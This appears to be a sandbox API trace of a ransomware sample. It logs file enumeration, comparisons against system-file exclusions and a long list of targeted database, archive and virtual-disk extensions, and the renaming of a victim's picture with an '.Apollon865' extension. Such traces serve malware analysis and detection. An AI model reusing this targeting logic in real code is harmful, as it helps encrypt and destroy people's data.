	[0087.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.278] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b7e90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.278] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.278] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad005b0, ftCreationTime.dwHighDateTime=0x1d4ce8e, ftLastAccessTime.dwLowDateTime=0xc9bb2d50, ftLastAccessTime.dwHighDateTime=0x1d4d0f1, ftLastWriteTime.dwLowDateTime=0xc9bb2d50, ftLastWriteTime.dwHighDateTime=0x1d4d0f1, nFileSizeHigh=0x0, nFileSizeLow=0x125fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KbNeAnEtW32z3.jpg", cAlternateFileName="KBNEAN~1.JPG")) returned 1
	[0087.278] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.278] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0087.278] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".") returned 1
	[0087.278] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="..") returned 1
	[0087.278] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="windows") returned -1
	[0087.278] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="bootmgr") returned 1
	[0087.278] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="temp") returned -1
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="pagefile.sys") returned -1
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="boot") returned 1
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="ids.txt") returned 1
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="ntuser.dat") returned -1
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="perflogs") returned -1
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2="MSBuild") returned -1
	[0087.279] lstrlenW (lpString="KbNeAnEtW32z3.jpg") returned 17
	[0087.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\FpuhSn.bmp") returned 64
	[0087.279] lstrcpyW (in: lpString1=0x119e674, lpString2="KbNeAnEtW32z3.jpg" | out: lpString1="KbNeAnEtW32z3.jpg") returned="KbNeAnEtW32z3.jpg"
	[0087.279] lstrlenW (lpString="KbNeAnEtW32z3.jpg") returned 17
	[0087.279] lstrlenW (lpString="Apollon865") returned 10
	[0087.279] lstrcmpiW (lpString1="tW32z3.jpg", lpString2="Apollon865") returned 1
	[0087.279] lstrlenW (lpString=".dll") returned 4
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".dll") returned 1
	[0087.279] lstrlenW (lpString=".lnk") returned 4
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".lnk") returned 1
	[0087.279] lstrlenW (lpString=".ini") returned 4
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".ini") returned 1
	[0087.279] lstrlenW (lpString=".sys") returned 4
	[0087.279] lstrcmpiW (lpString1="KbNeAnEtW32z3.jpg", lpString2=".sys") returned 1
	[0087.279] lstrlenW (lpString="KbNeAnEtW32z3.jpg") returned 17
	[0087.279] lstrlenW (lpString="bak") returned 3
	[0087.279] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0087.279] lstrlenW (lpString="ba_") returned 3
	[0087.279] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0087.279] lstrlenW (lpString="dbb") returned 3
	[0087.279] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0087.279] lstrlenW (lpString="vmdk") returned 4
	[0087.279] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0087.279] lstrlenW (lpString="rar") returned 3
	[0087.279] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0087.279] lstrlenW (lpString="zip") returned 3
	[0087.279] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0087.279] lstrlenW (lpString="tgz") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0087.280] lstrlenW (lpString="vbox") returned 4
	[0087.280] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0087.280] lstrlenW (lpString="vdi") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0087.280] lstrlenW (lpString="vhd") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0087.280] lstrlenW (lpString="vhdx") returned 4
	[0087.280] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0087.280] lstrlenW (lpString="avhd") returned 4
	[0087.280] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0087.280] lstrlenW (lpString="db") returned 2
	[0087.280] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0087.280] lstrlenW (lpString="db2") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0087.280] lstrlenW (lpString="db3") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0087.280] lstrlenW (lpString="dbf") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0087.280] lstrlenW (lpString="mdf") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0087.280] lstrlenW (lpString="mdb") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0087.280] lstrlenW (lpString="sql") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0087.280] lstrlenW (lpString="sqlite") returned 6
	[0087.280] lstrcmpiW (lpString1="z3.jpg", lpString2="sqlite") returned 1
	[0087.280] lstrlenW (lpString="sqlite3") returned 7
	[0087.280] lstrcmpiW (lpString1="2z3.jpg", lpString2="sqlite3") returned -1
	[0087.280] lstrlenW (lpString="sqlitedb") returned 8
	[0087.280] lstrcmpiW (lpString1="32z3.jpg", lpString2="sqlitedb") returned -1
	[0087.280] lstrlenW (lpString="xml") returned 3
	[0087.280] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0087.280] lstrlenW (lpString="$er") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0087.281] lstrlenW (lpString="4dd") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0087.281] lstrlenW (lpString="4dl") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0087.281] lstrlenW (lpString="^^^") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0087.281] lstrlenW (lpString="abs") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0087.281] lstrlenW (lpString="abx") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0087.281] lstrlenW (lpString="accdb") returned 5
	[0087.281] lstrcmpiW (lpString1="3.jpg", lpString2="accdb") returned -1
	[0087.281] lstrlenW (lpString="accdc") returned 5
	[0087.281] lstrcmpiW (lpString1="3.jpg", lpString2="accdc") returned -1
	[0087.281] lstrlenW (lpString="accde") returned 5
	[0087.281] lstrcmpiW (lpString1="3.jpg", lpString2="accde") returned -1
	[0087.281] lstrlenW (lpString="accdr") returned 5
	[0087.281] lstrcmpiW (lpString1="3.jpg", lpString2="accdr") returned -1
	[0087.281] lstrlenW (lpString="accdt") returned 5
	[0087.281] lstrcmpiW (lpString1="3.jpg", lpString2="accdt") returned -1
	[0087.281] lstrlenW (lpString="accdw") returned 5
	[0087.281] lstrcmpiW (lpString1="3.jpg", lpString2="accdw") returned -1
	[0087.281] lstrlenW (lpString="accft") returned 5
	[0087.281] lstrcmpiW (lpString1="3.jpg", lpString2="accft") returned -1
	[0087.281] lstrlenW (lpString="adb") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.281] lstrlenW (lpString="adb") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.281] lstrlenW (lpString="ade") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0087.281] lstrlenW (lpString="adf") returned 3
	[0087.281] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0087.282] lstrlenW (lpString="adn") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0087.282] lstrlenW (lpString="adp") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0087.282] lstrlenW (lpString="alf") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0087.282] lstrlenW (lpString="ask") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0087.282] lstrlenW (lpString="btr") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0087.282] lstrlenW (lpString="cat") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0087.282] lstrlenW (lpString="cdb") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0087.282] lstrlenW (lpString="ckp") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0087.282] lstrlenW (lpString="cma") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0087.282] lstrlenW (lpString="cpd") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0087.282] lstrlenW (lpString="dacpac") returned 6
	[0087.282] lstrcmpiW (lpString1="z3.jpg", lpString2="dacpac") returned 1
	[0087.282] lstrlenW (lpString="dad") returned 3
	[0087.282] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0087.282] lstrlenW (lpString="dadiagrams") returned 10
	[0087.282] lstrcmpiW (lpString1="tW32z3.jpg", lpString2="dadiagrams") returned 1
	[0087.282] lstrlenW (lpString="daschema") returned 8
	[0087.282] lstrcmpiW (lpString1="32z3.jpg", lpString2="daschema") returned -1
	[0087.282] lstrlenW (lpString="db-journal") returned 10
	[0087.282] lstrcmpiW (lpString1="tW32z3.jpg", lpString2="db-journal") returned 1
	[0087.282] lstrlenW (lpString="db-shm") returned 6
	[0087.283] lstrcmpiW (lpString1="z3.jpg", lpString2="db-shm") returned 1
	[0087.283] lstrlenW (lpString="db-wal") returned 6
	[0087.283] lstrcmpiW (lpString1="z3.jpg", lpString2="db-wal") returned 1
	[0087.283] lstrlenW (lpString="dbc") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0087.283] lstrlenW (lpString="dbs") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0087.283] lstrlenW (lpString="dbt") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0087.283] lstrlenW (lpString="dbv") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0087.283] lstrlenW (lpString="dbx") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0087.283] lstrlenW (lpString="dcb") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0087.283] lstrlenW (lpString="dct") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0087.283] lstrlenW (lpString="dcx") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0087.283] lstrlenW (lpString="ddl") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0087.283] lstrlenW (lpString="dlis") returned 4
	[0087.283] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0087.283] lstrlenW (lpString="dp1") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0087.283] lstrlenW (lpString="dqy") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0087.283] lstrlenW (lpString="dsk") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0087.283] lstrlenW (lpString="dsn") returned 3
	[0087.283] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0087.283] lstrlenW (lpString="dtsx") returned 4
	[0087.284] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0087.284] lstrlenW (lpString="dxl") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0087.284] lstrlenW (lpString="eco") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0087.284] lstrlenW (lpString="ecx") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0087.284] lstrlenW (lpString="edb") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0087.284] lstrlenW (lpString="epim") returned 4
	[0087.284] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0087.284] lstrlenW (lpString="fcd") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0087.284] lstrlenW (lpString="fdb") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0087.284] lstrlenW (lpString="fic") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0087.284] lstrlenW (lpString="flexolibrary") returned 12
	[0087.284] lstrcmpiW (lpString1="nEtW32z3.jpg", lpString2="flexolibrary") returned 1
	[0087.284] lstrlenW (lpString="fm5") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0087.284] lstrlenW (lpString="fmp") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0087.284] lstrlenW (lpString="fmp12") returned 5
	[0087.284] lstrcmpiW (lpString1="3.jpg", lpString2="fmp12") returned -1
	[0087.284] lstrlenW (lpString="fmpsl") returned 5
	[0087.284] lstrcmpiW (lpString1="3.jpg", lpString2="fmpsl") returned -1
	[0087.284] lstrlenW (lpString="fol") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0087.284] lstrlenW (lpString="fp3") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0087.284] lstrlenW (lpString="fp4") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0087.284] lstrlenW (lpString="fp5") returned 3
	[0087.284] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0087.285] lstrlenW (lpString="fp7") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0087.285] lstrlenW (lpString="fpt") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0087.285] lstrlenW (lpString="frm") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0087.285] lstrlenW (lpString="gdb") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.285] lstrlenW (lpString="gdb") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.285] lstrlenW (lpString="grdb") returned 4
	[0087.285] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0087.285] lstrlenW (lpString="gwi") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0087.285] lstrlenW (lpString="hdb") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0087.285] lstrlenW (lpString="his") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0087.285] lstrlenW (lpString="ib") returned 2
	[0087.285] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0087.285] lstrlenW (lpString="idb") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0087.285] lstrlenW (lpString="ihx") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0087.285] lstrlenW (lpString="itdb") returned 4
	[0087.285] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0087.285] lstrlenW (lpString="itw") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0087.285] lstrlenW (lpString="jet") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0087.285] lstrlenW (lpString="jtx") returned 3
	[0087.285] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0087.285] lstrlenW (lpString="kdb") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0087.286] lstrlenW (lpString="kexi") returned 4
	[0087.286] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0087.286] lstrlenW (lpString="kexic") returned 5
	[0087.286] lstrcmpiW (lpString1="3.jpg", lpString2="kexic") returned -1
	[0087.286] lstrlenW (lpString="kexis") returned 5
	[0087.286] lstrcmpiW (lpString1="3.jpg", lpString2="kexis") returned -1
	[0087.286] lstrlenW (lpString="lgc") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0087.286] lstrlenW (lpString="lwx") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0087.286] lstrlenW (lpString="maf") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0087.286] lstrlenW (lpString="maq") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0087.286] lstrlenW (lpString="mar") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0087.286] lstrlenW (lpString="marshal") returned 7
	[0087.286] lstrcmpiW (lpString1="2z3.jpg", lpString2="marshal") returned -1
	[0087.286] lstrlenW (lpString="mas") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0087.286] lstrlenW (lpString="mav") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0087.286] lstrlenW (lpString="maw") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0087.286] lstrlenW (lpString="mdbhtml") returned 7
	[0087.286] lstrcmpiW (lpString1="2z3.jpg", lpString2="mdbhtml") returned -1
	[0087.286] lstrlenW (lpString="mdn") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0087.286] lstrlenW (lpString="mdt") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0087.286] lstrlenW (lpString="mfd") returned 3
	[0087.286] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0087.286] lstrlenW (lpString="mpd") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0087.287] lstrlenW (lpString="mrg") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0087.287] lstrlenW (lpString="mud") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0087.287] lstrlenW (lpString="mwb") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0087.287] lstrlenW (lpString="myd") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0087.287] lstrlenW (lpString="ndf") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0087.287] lstrlenW (lpString="nnt") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0087.287] lstrlenW (lpString="nrmlib") returned 6
	[0087.287] lstrcmpiW (lpString1="z3.jpg", lpString2="nrmlib") returned 1
	[0087.287] lstrlenW (lpString="ns2") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0087.287] lstrlenW (lpString="ns3") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0087.287] lstrlenW (lpString="ns4") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0087.287] lstrlenW (lpString="nsf") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0087.287] lstrlenW (lpString="nv") returned 2
	[0087.287] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0087.287] lstrlenW (lpString="nv2") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0087.287] lstrlenW (lpString="nwdb") returned 4
	[0087.287] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0087.287] lstrlenW (lpString="nyf") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0087.287] lstrlenW (lpString="odb") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.287] lstrlenW (lpString="odb") returned 3
	[0087.287] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.287] lstrlenW (lpString="oqy") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0087.288] lstrlenW (lpString="ora") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0087.288] lstrlenW (lpString="orx") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0087.288] lstrlenW (lpString="owc") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0087.288] lstrlenW (lpString="p96") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0087.288] lstrlenW (lpString="p97") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0087.288] lstrlenW (lpString="pan") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0087.288] lstrlenW (lpString="pdb") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0087.288] lstrlenW (lpString="pdm") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0087.288] lstrlenW (lpString="pnz") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0087.288] lstrlenW (lpString="qry") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0087.288] lstrlenW (lpString="qvd") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0087.288] lstrlenW (lpString="rbf") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0087.288] lstrlenW (lpString="rctd") returned 4
	[0087.288] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0087.288] lstrlenW (lpString="rod") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0087.288] lstrlenW (lpString="rodx") returned 4
	[0087.288] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0087.288] lstrlenW (lpString="rpd") returned 3
	[0087.288] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0087.288] lstrlenW (lpString="rsd") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0087.289] lstrlenW (lpString="sas7bdat") returned 8
	[0087.289] lstrcmpiW (lpString1="32z3.jpg", lpString2="sas7bdat") returned -1
	[0087.289] lstrlenW (lpString="sbf") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0087.289] lstrlenW (lpString="scx") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0087.289] lstrlenW (lpString="sdb") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0087.289] lstrlenW (lpString="sdc") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0087.289] lstrlenW (lpString="sdf") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0087.289] lstrlenW (lpString="sis") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0087.289] lstrlenW (lpString="spq") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0087.289] lstrlenW (lpString="te") returned 2
	[0087.289] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0087.289] lstrlenW (lpString="teacher") returned 7
	[0087.289] lstrcmpiW (lpString1="2z3.jpg", lpString2="teacher") returned -1
	[0087.289] lstrlenW (lpString="tmd") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0087.289] lstrlenW (lpString="tps") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0087.289] lstrlenW (lpString="trc") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.289] lstrlenW (lpString="trc") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.289] lstrlenW (lpString="trm") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0087.289] lstrlenW (lpString="udb") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0087.289] lstrlenW (lpString="udl") returned 3
	[0087.289] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0087.289] lstrlenW (lpString="usr") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0087.290] lstrlenW (lpString="v12") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0087.290] lstrlenW (lpString="vis") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0087.290] lstrlenW (lpString="vpd") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0087.290] lstrlenW (lpString="vvv") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0087.290] lstrlenW (lpString="wdb") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0087.290] lstrlenW (lpString="wmdb") returned 4
	[0087.290] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0087.290] lstrlenW (lpString="wrk") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0087.290] lstrlenW (lpString="xdb") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0087.290] lstrlenW (lpString="xld") returned 3
	[0087.290] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0087.290] lstrlenW (lpString="xmlff") returned 5
	[0087.290] lstrcmpiW (lpString1="3.jpg", lpString2="xmlff") returned -1
	[0087.290] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\KbNeAnEtW32z3.jpg.Apollon865") returned 82
